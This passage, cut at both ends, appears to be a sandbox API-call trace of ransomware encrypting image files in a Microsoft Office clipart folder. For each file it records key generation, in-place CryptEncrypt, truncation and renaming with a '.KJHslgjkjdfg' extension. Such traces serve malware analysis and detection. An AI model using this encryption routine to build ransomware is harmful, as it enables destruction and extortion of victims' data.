lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0208.275] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0208.276] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0208.276] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0208.276] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0208.276] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0208.276] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0208.276] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x7db8, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x7db8, lpOverlapped=0x0) returned 1 [0208.277] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x7dc0, dwBufLen=0x7dc0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x7dc0) returned 1 [0208.278] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0208.278] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x7dc0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x7dc0, lpOverlapped=0x0) returned 1 [0208.278] CryptDestroyKey (hKey=0x9b6628) returned 1 [0208.279] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x7e94, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0208.279] SetEndOfFile (hFile=0x130) returned 1 [0208.281] GetProcessHeap () returned 0x990000 [0208.281] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0208.281] GetProcessHeap () returned 0x990000 [0208.281] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0208.281] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02291U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02291u.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02291U.BMP.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02291u.bmp.kjhslgjkjdfg")) returned 1 [0208.283] CloseHandle (hObject=0x130) returned 1 [0208.283] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2880f000, ftCreationTime.dwHighDateTime=0x1bd4e54, ftLastAccessTime.dwLowDateTime=0x5a3ff2b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2880f000, ftLastWriteTime.dwHighDateTime=0x1bd4e54, nFileSizeHigh=0x0, nFileSizeLow=0x7ce0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PH02398U.BMP", cAlternateFileName="")) returned 1 [0208.283] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02398U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02398u.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0208.284] GetProcessHeap () returned 0x990000 [0208.284] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0208.284] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0208.284] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0208.285] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0208.285] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0208.285] GetProcessHeap () returned 0x990000 [0208.285] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0208.285] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0208.285] CryptDestroyKey (hKey=0x9b6628) returned 1 [0208.285] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0208.300] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0208.300] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0208.301] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0208.301] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0208.302] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0208.303] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0208.303] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0208.303] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0208.304] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x7ce0, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x7ce0, lpOverlapped=0x0) returned 1 [0208.306] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x7ce0, dwBufLen=0x7ce0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x7ce0) returned 1 [0208.306] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0208.306] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x7ce0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x7ce0, lpOverlapped=0x0) returned 1 [0208.307] CryptDestroyKey (hKey=0x9b6628) returned 1 [0208.307] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x7db4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0208.307] SetEndOfFile (hFile=0x130) returned 1 [0208.310] GetProcessHeap () returned 0x990000 [0208.310] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0208.310] GetProcessHeap () returned 0x990000 [0208.310] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0208.310] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02398U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02398u.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02398U.BMP.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02398u.bmp.kjhslgjkjdfg")) returned 1 [0208.312] CloseHandle (hObject=0x130) returned 1 [0208.312] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5a3ff2b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xdd5, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PH02412K.JPG", cAlternateFileName="")) returned 1 [0208.312] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02412K.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02412k.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0208.313] GetProcessHeap () returned 0x990000 [0208.313] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0208.313] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0208.313] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0208.313] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xb, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xb, lpOverlapped=0x0) returned 1 [0208.316] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0208.316] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0208.316] GetProcessHeap () returned 0x990000 [0208.316] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0208.316] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0208.317] CryptDestroyKey (hKey=0x9b6628) returned 1 [0208.317] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0208.317] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0208.317] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0208.317] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0208.317] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0208.317] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0208.317] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0208.317] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0208.317] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0208.317] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0xdd5, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0xdd5, lpOverlapped=0x0) returned 1 [0208.317] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0xde0, dwBufLen=0xde0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0xde0) returned 1 [0208.317] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0208.318] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0xde0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0xde0, lpOverlapped=0x0) returned 1 [0208.318] CryptDestroyKey (hKey=0x9b6628) returned 1 [0208.318] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xeb4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0208.318] SetEndOfFile (hFile=0x130) returned 1 [0208.320] GetProcessHeap () returned 0x990000 [0208.321] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0208.321] GetProcessHeap () returned 0x990000 [0208.321] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0208.321] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02412K.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02412k.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02412K.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02412k.jpg.kjhslgjkjdfg")) returned 1 [0208.323] CloseHandle (hObject=0x130) returned 1 [0208.323] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x156e2000, ftCreationTime.dwHighDateTime=0x1bd4e54, ftLastAccessTime.dwLowDateTime=0x5a3ff2b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x156e2000, ftLastWriteTime.dwHighDateTime=0x1bd4e54, nFileSizeHigh=0x0, nFileSizeLow=0x7ce0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PH02417U.BMP", cAlternateFileName="")) returned 1 [0208.323] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02417U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02417u.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0208.325] GetProcessHeap () returned 0x990000 [0208.325] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0208.325] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0208.325] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0208.325] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0208.325] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0208.325] GetProcessHeap () returned 0x990000 [0208.325] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0208.325] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0208.325] CryptDestroyKey (hKey=0x9b6628) returned 1 [0208.325] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0208.330] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0208.330] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0208.330] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0208.331] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0208.331] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0208.331] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0208.331] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0208.331] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0208.331] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x7ce0, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x7ce0, lpOverlapped=0x0) returned 1 [0208.334] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x7ce0, dwBufLen=0x7ce0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x7ce0) returned 1 [0208.335] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0208.335] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x7ce0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x7ce0, lpOverlapped=0x0) returned 1 [0208.335] CryptDestroyKey (hKey=0x9b6628) returned 1 [0208.335] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x7db4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0208.335] SetEndOfFile (hFile=0x130) returned 1 [0208.337] GetProcessHeap () returned 0x990000 [0208.337] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0208.337] GetProcessHeap () returned 0x990000 [0208.337] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0208.337] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02417U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02417u.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02417U.BMP.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02417u.bmp.kjhslgjkjdfg")) returned 1 [0208.339] CloseHandle (hObject=0x130) returned 1 [0208.339] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf783f00, ftCreationTime.dwHighDateTime=0x1bd4e54, ftLastAccessTime.dwLowDateTime=0x6ce95a50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf783f00, ftLastWriteTime.dwHighDateTime=0x1bd4e54, nFileSizeHigh=0x0, nFileSizeLow=0x7c08, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PH02466U.BMP", cAlternateFileName="")) returned 1 [0208.339] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02466U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02466u.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0208.340] GetProcessHeap () returned 0x990000 [0208.340] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0208.340] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0208.340] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0208.341] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0208.345] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0208.345] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0208.345] GetProcessHeap () returned 0x990000 [0208.345] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0208.345] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0208.345] CryptDestroyKey (hKey=0x9b6628) returned 1 [0208.345] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0208.345] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0208.345] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0208.345] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0208.345] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0208.346] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0208.346] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0208.346] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0208.346] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0208.346] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x7c08, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x7c08, lpOverlapped=0x0) returned 1 [0208.373] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x7c10, dwBufLen=0x7c10 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x7c10) returned 1 [0208.374] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0208.374] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x7c10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | 